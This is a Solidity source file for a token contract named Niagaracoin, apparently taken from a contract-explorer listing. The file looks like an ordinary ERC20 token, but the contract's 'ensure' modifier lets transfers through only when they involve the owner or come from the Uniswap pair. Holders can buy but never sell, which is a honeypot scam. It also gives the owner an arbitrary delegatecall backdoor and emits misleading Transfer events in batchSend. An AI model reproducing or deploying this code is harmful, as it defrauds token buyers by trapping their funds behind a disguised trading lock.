文件 1 的 1:Niagaracoin.sol
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Niagaracoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}